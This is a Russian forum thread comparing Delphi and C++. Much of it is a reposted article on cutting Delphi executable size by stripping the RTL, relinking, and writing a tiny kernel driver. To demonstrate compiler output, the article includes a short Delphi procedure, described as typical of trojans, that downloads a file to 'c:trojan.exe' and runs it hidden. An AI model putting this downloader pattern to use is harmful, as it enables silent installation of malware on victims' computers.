Delphi vs C++

с чего начать изучение программирования?
прочитал стр 20 в нэте.....понял одно Delphi для обучения и быстрого написания программ а C++
для детального распределения ресурсов..
Если начать изучать Delphi то после будет сложно переходить на C++?
и в чем сложность этих языков мб они одинаковы по сложности изучения?
======================================== ==================
сам знаю html освоил меньше чем за неделю
pascal надоел бажная хрень или ток у меня он на win 7 тупит

0

0

Ребята, Вы малёк от темы отошли, может в ЛС перейдёте? А то сообщения из одних off-ов состоят.

0

тут бывшие "Delphiсты" жалуются на размер скомпилированного экзешника, так в делфях не обязательно VCL использовать можно так же как и на C создать форму и все остальное через API и размер меньше выходит 24кб, вот не давно форма кнопка несколько функций и подключенный opengl(просто создал вращающийся куб) вышел 21кб... Не знаю ничего что можно создать на С и нельзя это в Delphях=)

0

Сообщение от Garu Не знаю ничего что можно создать на С и нельзя это в Delphях

точно подмечено

0

в универе начал учить С, это такая п...па... я в дельфи быстрее понял как писать программы, чем зная дельфи и еще немного другие языки, так трудно писать на С, буквально вчера и позавчера писал лабу по информатике на С, я бы 10 программ на дельфи/паскале бы написал чем одну на С

2 часа заняло у меня подключение константы ПИ.. в этом языке... Там пока не перекинь_ногу_через_забор_и_переплюнь_че рез_колено не напишешь...

меня даже оформление кода убивает, и не настроишь как нужно, чтобы код был красиво читабельный, что является одним из хороших тонов программирования, я понимаю, что я пишу конечно, но зачем так писать... заморачиваться

кстати, anonimus, немного помогла вот эта тема пересечение 2-х отрезков в лабе

а на счет размеров, я не знаю откуда берут производители эти гигабайты, и с каждым месяцем гигабайты наростают..... и я думаю что +/- пару десятков гигабайт скоро для программы будет как почти ничего.... Скоро реально вернемся как к старым добрым дискетам, нужно что-то запустить, вместо дискеты будем менять ЖД, на котором что нужно стоит... да и игры или программы наверно будут не на CD, а на ЖД продаваться, нужно поиграть, вместо диска цепляешь ЖД и играешь.....

прогу дали в универе, 8 гб весит, только инсталятор, распаковать все 20, вопрос в чем заключается весь размер то?

0

Могу так с казать - лучше сразу Си изучать, я после того как жизнь заставила пару дней назад взяться за С++ т.к на asme - трудно писать проги под МК, а начал с pascal - > delphi - и всё это было лет 5ть назад, теперь после жёсткого пристрастия к delphi просто жесть переходить на C++, иногда кажется что нужно встать в позу лотоса что бы понять что к чему..... часов 5ть делал простую программу которая читает файл, берёт строку и разбивает её на элементы после переводит в моссив и обрабатывает и вновь сохраняет результат в txt, на delphi 20 мин и всё готово.... но тут жесть.... Лучше сразу С++ потом на delphi проще будет перейти........

0

gdoom, СпоАибо но создай тему новую и обучай нас новичков

0

Сообщение от igoriy gdoom, СпоАибо но создай тему новую и обучай нас новичков

мне нечему учить - я сам на Си перешёл только неделю назад.....

0

Не хочу никого агитировать, но при программировании под многозадачные ОС да еще и на ООП несколько странно выглядят рассуждения о существенных преимуществах какого-либо ЯВУ. Был такой человек - MS-Rem, Колесников. Светлая ему память. Предлагаю ознакомиться с одной из его статьей на эту тему. Я лишь вставил в нее теги.

Ты пишешь на Delphi, но тебе не нравится размер проги в 400 кб? Ничего, можно и до 850 байт сократить...

Вступление

В кругах низкоуровневых программистов существует устоявшееся мнение о том, что Delphi -полный остой, так как не годится для системного программирования. Обьясняют это обычно тем, что компилятор генерирует медленный и большой код, а средний размер пустой формы с кнопкой — 400 килобайт. Обычно этим аргументация и заканчивается (иногда просто говорят, что дельфи - дерьмо вообще без всякой аргументации). На форумах существуют «священные» войны между поклонниками С++ и Delphi, где каждый доказывает, что его любимый язык лучше. Поклонники С++ обычно кричат про супернавороченный синтаксис и мощные возможности ООП (при этом утверждая, что в системном программировании все это незаменимо!), а поклонники Delphi опять же кричат про те возможности ООП, которых нет в С++, да и еще про то, что на дельфи все пишется куда проще. Мо моему мнению — это просто крики ламеров, так как по их словам можно заключить, что ни та ни другая стороны обычно ни про Delphi ни про C++ ничего толком не знает.
Эта статья будет посвящена приемам системного программирования на Delphi, тут мы будем делать на Delphi то, что многие считают невозможным. Эта статья для тех, кто пишет программы на Delphi и при этом хочет добиться максимальной эффективности кода, но не боится вложить в это определенный труд. По оптимизации кода в С++ написано весьма немало статей, а про оптимизацию в Delphi хороших статей просто нет. Видно, все считают, что никакая оптимизация здесь не нужна. Тем, кого устраивает 400 килобайтный размер пустой формы с кнопкой, статью читать я не рекомендую (все равно толку-то...), а тем, кто упорно отстаивает мнение о ненужности Delphi, лучше тоже не читать, чтобы не расстраивать нервы и не развеивать священные заблуждения.

Немного о генерируемом компилятором коде

Для начала следует проверить утверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах), писать будем, естественно, с применением API. Вот что у меня получилось:

Delphi
1 2 3 4 5 6 7 procedure DownloadAndExecute (Source: PChar); stdcall; const DestFile = 'c:trojan.exe'; begin UrlDownloadToFile (nil, Source, DestFile, 0, nil); WinExec (DestFile, SW_HIDE); end;

Этот код я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированный листинг:

Assembler

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 DownloadAndExecute proc near   Source = dword ptr 8   push ebp mov ebp, esp push 0 ; LPBINDSTATUSCALLBACK push 0 ; DWORD push offset DestFile ; LPCSTR mov eax, [ebp+Source] push eax ; LPCSTR push 0 ; LPUNKNOWN call URLDownloadToFileA push 0 ; uCmdShow push offset DestFile ; lpCmdLine call WinExec pop ebp retn 4 DownloadAndExecute endp   DestFile db 'c:trojan.exe',0

Ну и где же куча лишнего кода, о котором некоторые так любят говорить? Все просто и красиво. Из этого можно сделать вывод, что компилятор генерирует вполне приличный код, размер которого весьма невелик. То, что сгенерировал компилятор, весьма похоже на аналогичный код, написанный вручную на ассемблере. Тем более, некоторые люди, не знающие ассемблера, но пытающиеся что-то на нем писать, иногда такое выдают, что любые ошибки компилятора покажутся мелочью.Так почему программы, написанные на Delphi, такие большие? Откуда все-таки берется лишний код, если компилятор его не генерирует.
Сейчас мы разберем этот вопрос подробнее.

ООП — двигатель прогреса

ООП — весьма модное в настоящее время направление развития индустрии программирования. Цель ООП — упростить написание программ и сократить сроки их разработки, и, несомненно, с этой целью ООП прекрасно справляется. Большинство программистов, пишущих на С++ или Delphi прикладные приложения, не мыслят даже о самой возможности программирования без ООП. Если ты относишься к их группе, то немедленно бросай читать статью, так как она не для тебя.
Взглянем на ООП глазами системного программиста. ООП дает простоту написания - это плюс, но у него есть и обратная сторона — это качество генерируемого кода. Допустим, у нас есть класс, который наследуется от другого класса. При создании обьекта этого класса компилятор будет вынужден включить в его состав также код родительского класса полностью, так как нет возможности определить, какие методы классов использоваться не будут. А если у нас будет целое дерево наследования классов (как это обычно и бывает в реальных программах), то код этого дерева будет полностью включен в состав программы, и от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А если метод наследуется от родителя в десятом поколении, то и вызов пройдет через десять таблиц, прежде чем достигнет обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще и низкую эффективность того, что работает.
Хороший пример применения ООП — это библиотека VCL в дельфи. Этот пример в полной мере демонстрирует все достоинства и недостатки ООП. С одной стороны — черезвычайная простота написания программ, с другой — огромнейшее количество мертвого кода и ужасно низкая его производительность.
ООП позволяет писать всякую фигню (обычно связанную с базами данных) за короткое время. Главный принцип — быстрее сдал программы, быстрее получил деньги. Естественно, что в таких условиях о всякой эффективности кода просто забывают. А что? Тормозит? Так пусть клиент купит компьютер помощнее...
Но нам, естественно, такие результаты не нужны. Теперь мы нашли источник всех бед, вот она причина большого размера программ, написанных на дельфи - это ООП, и в частности VCL. Некоторые, прочитав это, зададутся вопросом, почему программа, написанная на дельфи с применением VCL, занимает гораздо больше места, чем программа, написанная на VB, или на VC с применением MFC. Ответ прост — потому, что великая и ужасная фирма Micro$oft приложила к этому свою лапу. MFC и рантайм библиотеки в VB занимают ничуть не меньше места, просто они скомпилены в DLL и входят в поставку Windows, а значит их код не приходится таскать с собой в программах, а программа на Delphi содержит весь необходимый для своей работы код. В защиту Borland можно сказать то, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку «Build with runtime packages», тогда размер программы значительно уменьшится, но она потребует наличия соответствующих Runtime библиотек. Так как Borland не выпускает Windows, то, естественно , эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.
Любители ООП, желающие разрабатывать программы в визуальном режиме, могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом недостатков ООП. Средний размер пустой формы с кнопкой на KOL — 35кб, что уже лучше, но, к сожалению, для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое и те, кто хочет добиться действительно высокой эффективности кода, должны принять другое решение — забыть про ООП и все, что с ним связано раз и навсегда. Писать программы придется только на чистом API.
Из всего вышесказанного можно сделать вывод, что ООП двигатель прогресса, но с точки зрения системного программиста ООП двигает прогресс только назад.

Виновник номер два

Создадим в Delphi пустой проект, заведомо не содержащий никакого полезного кода:

Delphi
1 2 3 4 5 program Sample;   begin   end.

После компиляции в Delphi 7 мы получаем екзешник размером в 13,5 кб. Почему так много? Ведь в программе-то ничего нет. Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем полученный экзешник и посмотрим, что, собственно, он содержит. Точка входа в программу будет выглядеть так:

Assembler
1 2 3 4 5 6 7 8 9 10 public start start: push ebp mov ebp, esp add esp, 0FFFFFFF0h mov eax, offset ModuleId call _InitExe ; здесь мог бы быть наш код call _HandleFinally CODE ends

Весь лишний код находится в функциях _InitExe и _HandleFinally. Связано это с тем, что к каждой Delphi-программе неявно подключается код, входящий в состав RTL (Run Time Library). RTL нужна для поддержки таких возможностей языка как ООП, работа со строками (string), специфичных для паскаля функций (AssignFile, ReadLn, WriteLn e.t.c.). InitExe выполняет инициализацию всего этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.
Сделано это опять же для упрощения жизни программистам и применение RTL иногда оправдано, так как может не понизить, а повысить эффективность кода. Например, в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. Работа со строками реализована в RTL тоже довольно неплохо с точки зрения производительности генерируемого кода, но с точки зрения увеличения размера файла, RTL — виновник номер два (после ООП).

Уменьшаем размер

Если минимальный размер в 13.5 кб вас не устраивает, то надо будет убирать Delphi RTL. Весь код RTL находится в двух файлах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное, что можно сделать — это удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные DCU файлы положить в папку с программой. Файл System.pas содержит основной код RTL и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла будет выглядеть так:

Delphi

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 unit System;   interface   procedure _HandleFinally;   type TGUID = record D1: LongWord; D2: Word; D3: Word; D4: array [0..7] of Byte; end;   PInitContext = ^TInitContext; TInitContext = record OuterContext: PInitContext; ExcFrame: Pointer; InitTable: pointer; InitCount: Integer; Module: pointer; DLLSaveEBP: Pointer; DLLSaveEBX: Pointer; DLLSaveESI: Pointer; DLLSaveEDI: Pointer; ExitProcessTLS: procedure; DLLInitState: Byte; end;   implementation   procedure _HandleFinally; asm end;   end.

Описания структуры TGUID компилятор требует в любом случае, и без ее наличия компилировать модуль отказывается. TInitContext понадобится, если мы будем компилировать DLL, без описания этой структуры линкер собирать DLL отказывается. HandleFinally — процедура освобождения ресурсов RTL; компилятору она тоже необходима, хотя может быть пустой.
Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Минимальный файл SysInit.pas будет выглядеть так:

Delphi

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unit SysInit;   interface procedure _InitExe; procedure _halt0; procedure _InitLib (Context: PInitContext);   var ModuleIsLib: Boolean; TlsIndex: Integer = -1; TlsLast: Byte;   const PtrToNil: Pointer = nil;   implementation   procedure _InitLib (Context: PInitContext); asm end;   procedure _InitExe; asm end;   procedure _halt0; asm end;   end.

InitExe — процедура инициализации RTL для EXE файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальное же просто требуется компилятором. Но те лишние структуры и переменные, которые пришлось оставить, в выходной файл включаться не будут и никак не повлияют на его размер. Терерь положим эти два файла в папку с проектом и скомпилируем их из коммандной строки:
dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$ D- -O
Терерь мы, избавившись, наконец, от RTL, попробуем скомпилировать пустой проект и получаем exe-шник размером в 3,5 кб. Откуда взялся такой размер в пустом проекте? Борландовский линкер создает в исполняемом файле 6 секций, и при выравнивании секций в файле по 512 байт + размер PE заголовка, мы как раз получаем размер в 3.5 кб.
Но в добавок к малому размеру мы получаем определенные неудобства, так как заголовочные файлы на WinAPI, идущие с Delphi, мы использовать не сможем, вместо них придется писать свои. Но это не трудно, так как описания используемых API можно брать с борландовских хедеров и переносить в свои по-мере необходимости. С проблемой увеличения размера можно столкнуться тогда, когда в составе проекта есть несколько PAS-файлов. Борландовский линкер в такой ситуации может для выравнивания кода вставлять в файл пустые участки. Чтобы этого избежать, нужно всю программу (включая определения API) помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc-файлов. Тут может встретиться еще одна проблема — повторные вставки одного и того же кода (когда несколько inc-файлов подключают один и тот же inc) компилятор в таких случаях компилировать откажется. Чтобы этого избежать, нужно воспользоваться директивами условной компиляции, полсе чего любой inc-файл будет иметь вид:

Delphi
1 2 3 4 5 6 {$ifndef win32api} {$define win32api}   // здесь идет наш код   {$endif}

Таким образом можно писать без RTL достаточно сложные программы и забыть о неудобствах.

Можно еще меньше!

Наверняка, минимальный размер экзешника в 3.5кб удовлетворит не всех, но если постараться, то можно добиться еще большего уменьшения размера. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от Microsoft. Но, к сожадению, здесь нас ждет одна загвоздка. Проблема в том, что основным рабочим форматом мелкософтовского линкера является COFF, но он может понимать и интеловский OMF. Но программисты борланда (видать, с целью создать несовместимость с микрософт) в версиях Delphi выше третьей изменили генерируемый формат obj-файлов так, что теперь он несовместим с Intel OMF. То есть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы, способной конвертировать обьектные файлы из формата Brland OMF в COFF или Intel OMF, я не нашел. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный Intel OMF объектный файл. Импорт используемых API нам тоже придется описывать вручную, но его описание несколько отличается. Для начала возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в HEX-редакторе. Имена функций библиотеки имеют такой вид: «_MessageBoxA@16», где после @ идет размер передаваемых параметров. Следовательно, обьявлять функции мы будем таким образом:

Delphi
1 2 function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:

Delphi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unit _HelloWorld;   interface   Procedure _Start;   implementation   function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';   Procedure _Start; begin MessageBoxA (0, 'Hello world!', nil, 0); end;   end.

Тип модуля UNIT нужен для того, чтобы компилятор генерировал в обьектном файле символьные имена объявленных процедур. В нашем случае это будет процедура _Start, которая будет являться точкой входа в программу. Теперь компилируем проект следующей строкой:
dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- _HelloWorld.pas
После компиляции получим файл _HelloWorld.obj, который откроем в HEX-редакторе и посмотрим, во что превратилась наша точка входа. У меня получилось _Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец выполним сборку:
link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY: _Start$qqrv _HelloWorld.obj user32.lib /out: _Hello.exe
В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:

Assembler
1 2 3 4 5 6 7 8 9 10 11 12 13 ; Attributes: bp-based frame ; char Text[] Text db 'Hello world!',0   public _start start proc near push 0 ; uType push 0 ; lpCaption push offset Text ; lpText push 0 ; hWnd call MessageBoxA retn _start endp

Как мы видим, ни одного байта лишнего кода! Я думаю, ты покажешь этот пример тем, кто много говорит о большом размере программ, написанных на Delphi. По своему опыту знаю, что прикольно бывает наблюдать после этого за их выражением лица Хотя самые упорные продолжают говорить а... э..., все равно дерьмо..., но никто не может сказать ничего по существу. Но только самые продвинутые спорщики приводят последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас у них не останется аргументов вообще .

Пишем драйвер на Delphi

Используя эту методику, можно не только писать очень маленькие программы, можно даже сделать то, что раньше считалось невозможным — написать на Delphi драйвер режима ядра. Об этом даже есть статья на RSDN, и всем интересующимся рекомендую ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.
Файл _Driver.pas:

Delphi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unit _Driver;   interface   function _DriverEntry (_DriverObject, RegistryPath: pointer): integer; stdcall;   implementation   function DbgPrint (Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';   function _DriverEntry (_DriverObject, RegistryPath: pointer): integer; begin DbgPrint ('Hello World!'); Result := -1; end;   end.

Файл make.bat:
dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- _Driver.pas
link.exe /_DRIVER /ALIGN:32 /BASE:0×10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:_DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:_Driver.sys
Для компиляции нам понадобится файл ntoskrnl.lib из DDK. После компиляции мы получим драйвер размером 1 кб, который выводит сообщение Hello World в отладочную консоль и возвращает ошибку, а поэтому в памяти не остается, что не требует определения функции DriverUnload. Для запуска драйвера можно использовать KmdManager от Four-F, посмотреть на результаты его работы можно в софт-айсе или DbgView.
При наличии некоторых знаний можно писать на Delphi вполне полноценные драйвера. Но здесь есть одна большая проблема — отсутствие DDK. Для написания драйверов нужны заголовочные файлы на API ядра и описания большого количества системных структур. Все это богатство есть как для С (от Microsoft), так и для MASM32 (от Four-F). Есть слух, что DDK для паскаля уже существует, но его автор продает его за деньги и сильно этот факт не офиширует. Но я думаю, что найдутся энтузиасты, которые перепишут DDK на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров, связанных с системным программированием, написаны на C, поэтому на каком бы языке вы не писали свои программы, а C знать придется. Это конечно не означает, что придется изучать С++ в полном его обьеме. Для понимания системных программ хватит базовых знаний синтаксиса C, а все остальное используется в только в прикладных программах, которые нас совершенно не интересуют.

Переносимость кода

При программировании на стандартных Delphi компонентах в добавок к куче недостатков мы получаем еще одно достоинство — некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в Kilix и работать в Linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово (Шедевр Ламерского Искусства), тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам все-таки хочется иметь некоторую независимость от системы. Получить такую независимость очень просто: достаточно писать код, не использующий ни API-функций ни возможностей языка вообще. Такой код в некоторых случаях писать совершенно невозможно (например в играх), но иногда функции системы абсолютно не нужны (например в математических алгоритмах). В любом случае, следует четко разделять машиннозависимую и машиннонезависимую (если такая есть) части кода. При соблюдении вышеописанных правил машиннонезависимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для PIC контроллеров). Независимый от API код можно смело компилировать в DLL и использовать, например, в драйвере режима ядра. Также такую DLL не составит труда использовать и в других ОС: для этого нужно просто посекционно отмапить DLL в адресное пространство процесса, настроить релоки и можно смело пользоваться ее функциями. Код на паскале, это осуществляющий, занимает около 80 строк. Если же DLL все-таки использует некоторые API-функции, то их наличие можно проэмулировать, заполнив таблицу импорта DLL адресами заменяющих их функций в своей программе.

Общие приемы оптимизации

Старайся везде, где можно, использовать указатели. Никогда не передавай данные в функцию таким образом:
procedure FigZnaet (Data: TStructure);
Всегда передавай указатели на структуры:
procedure FigZnaet (pData: PStructure);
где PStructure = ^TStructure;
Такой вызов происходит быстрее и экономит немалое количество кода. Старайся не пользоваться типом данных String, вместо него всегда можно использовать Pchar и обрабатывать строки вручную. Если нужен временный буфер для хранения строки, то его следует обьявить в локальных переменных как array of Char. Старайся передавать в функцию не более трех параметров. Это обьясняется тем, что первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в Delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память: если, например, у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно обьявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия следует делать повторно, то их нужно вынести в функцию, но, тем не менее, не стоит делать функции, содержащие 2 строчки кода, так как вызов такой функции может занимать куда больше места, чем она сама. И помни главное — эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом, при этом разница в эффективности может составлять сотни раз!

Заключение

Итак, я думаю, что прочитав эту статью, ты станешь писать на DELPHI весьма маленькие и быстрые программы. Также я думаю, что ты обязательно расскажешь об этом всем, кто в такой возможности сомневается. Пора покончить с мнением, что DELPHI - дерьмо, и, я думаю, ты в это дело вложишь долю своего труда.

Автор: Ms-Rem (MircroSoft REMover)

1

аминь

0

Dmitrinik, стоп, стоп. А если вы уберете весь "лишний" код с System, то как-же Writeln, Readln?
Inc, Dec и еще куча других методов вы не сможете использовать?

0

0

Через три года после посл.сообщения в этой ветке могу добавить. Пишу и на Delphi (XE2), и на Visual Studio 2015 C++. В последнее время, к сожалению, на последнем больше.
Могу сказать однозначно: на Delphi по крайней мере, мои научные задачи писать удобнее, код лучше читаем и понятен другим. Меньше шансов сделать трудно находимый в расчётной программе ляп. По быстродействию: DELPHI код в расчётных задачах с числами Single (float) лишь немного уступает коду (после оптимизации!!!) на MS C++. Тестировали!!! Зато гораздо быстрее кода на Python, на который сдуру собирался перейти. Сейчас вообще прикрутил к Delphi XE2 язык OpenCL для выполнения расчётов на графическом акселераторе (можете поискать мои ссылки в соседней ветке). Сам код для акселератора пишется на C99 (не путать с C++). Этот переход на GPU оставляет по быстродействию далеко позади- многократно -ВСЕ языки программирования для CPU, а вызов функций из стандартной библиотеки OpenCL.dll вообще примерно одинаков что на Delphi, что на C++, что на Java. При этом сам интерфейс программы ваяется в RAD Studio, что весьма удобно (в Visual Studio от визульного программирования - одно название). И ещё, - сугубо ИМХО: расширение языка C++ для параллельных расчётов на GPU - С++AMP - полное уродство. Очередные костыли к этому нагромождению "возможностей" (мало кому нужных для практики возможностей). Могу доказать примерами.
И ещё. Насчёт переносимости кода. В Delphi (последние версии) можно и под ARM Android, и под iOs, и под Win64 писать. В последнем случае получается "всё-в-одном" EXE. Да, он немаленький (у меня до 8Мб бывает: огромная научная программа на 55тыс.строк). Но какая разница? Места ни винчестере вам мало что ли??? Но зато! Переносимость из VisualStudio, увы - никакая!! Даже под ту же Винду: надо с собой сотню неведомых DLL тащить. Опции компилятора вас спасут лишь частично! Потребуется устанавливать Redistributable Package именно от 2015-ой студии на тот комп, куда принесли свою программу. Думаете, этот Package так легко под любую винду поставится? Фиг! К тому же эти DLL-ки зачастую бывают с одними и теми же именами, раскиданы по разным папкам, с разными версиями: тут-то траблы и начинаются!! На одном компе почему-то программа после Visual Studio работает, на другом - глючит.
Или же те кто рассуждает про большой размер EXE после компилятора Delphi готовы переметнуться на Джаву, и каждому вместе со своей программой ещё и Джава-машину под 200Мб "в подарок" ставить??
===
И ещё - ламерам. Не путайте Object Pascal и DELPHI - это уже совсем разные языки!! С таким же успехом можно С++ путать с С. Отдельная песня - это работа с многомерными массивами в DELPHI и в С++. Если в Delphi мы просто выделяем память , то в С++ пишем трудно читаемую карягу с указателями и циклами. А список параметров процедур: если десяток параметров и все одного типа... Извратиться и в C++ можно, но...зачем всё через Ж.?? Уффф...
Не нравится писать ?? Мне тоже не нравится - старьём веет. Но зато попробуйте сначала в Delphi, а потом в C++ закомментировать 1-2 символа в середине строки с научной формулой.
Мораль: иногда вынужден писать и на VS C++. Работать с дурацким отладчиком. Чувствую себя мазохистом, но на гребне моды

1

А меня синтаксис делфи наоборот отталкивает.
Я учил его, но до сих пор много каких строк пояснить не могу.

0

Раз ветку оживили...
Считаю: сравнивать языки - гуд, сталкивать их лбами - не есть умно. По крайней мере, такие как C++ и Delphi. Ну совершенно разные языки для довольно разных (в том числе и количественно) задач. Да паскаль-семья имеет ОЧЕНЬ удобный, красивый синтаксис, да, ООП реализован хорошо, и да, VCL, LCL и подобные, а также RAD-ость (не очень распространенная ныне весчь): все это делает паскальность заманчивой. Я сам убежденные freepascal-ер.
Но зачем сюда приплетать C++ и стравливать его с Delphi. Да C++ его просто рвет (ИМХО). C++ создан для решения большинства задач программирования, всеобъемлющ (ну или многообъемлющ) и развивался долго (местами стихийно), не позволяя себе роскоши, которую может позволить одна-две компании, разрабатывающие не самый распространенный ЯП (типа взять и отказаться от неустраивающей или устаревшей фичи).

Более того, мне кажется, когда говорят про ужасы C++, некоторые путают синтаксис языка с построениями из тех или иных библиотек, iostream, например, или d3dx9. Библиотек на C++ множество, и понятное дело правила именования переменных и функций, принятые нормы и т.п. могут сильно различаться.

Представьте, если кто-то начнет сравнивать русский и английский языки.
Одни скажу, дескать, в русском ужасные конструкции, непонятный и сложный синтаксис, одно и тоже слово может стоять хоть в начале, хоть в конце, хоть вообще в другом предложении, невозможно запомнить все слова русского языка, они слишком длинные и могут соединяться в невообразимые конструкции.
Другие будут обвинять английский в том, что он хоть и красивый, лаконичный, удобный, но на нем не напишешь Евгения Онегина, для стихов подходит плохо, нет простора для выражения разных оттенков мыслей и так далее, дескать, а вот русский какой богатый и многообразный.
Сравнили русский язык, который используется в определенном регионе ограниченным количеством народов, который развивался и обогащался умными писателями и поэтами, а также активно, даже непомерно вливает в себя иноязычную лексику, с универсальным международным английским.

Ну это мое мнение и предположение, наверняка я где-то неправ, тогда извиняйте.

Сообщение от jonikster А меня синтаксис делфи наоборот отталкивает.

Странно... Какой же тогда Вас "приталкивает"? Вроде красивый синтаксис

Dmitrinik, хорошая статья, читал взахлеб.

0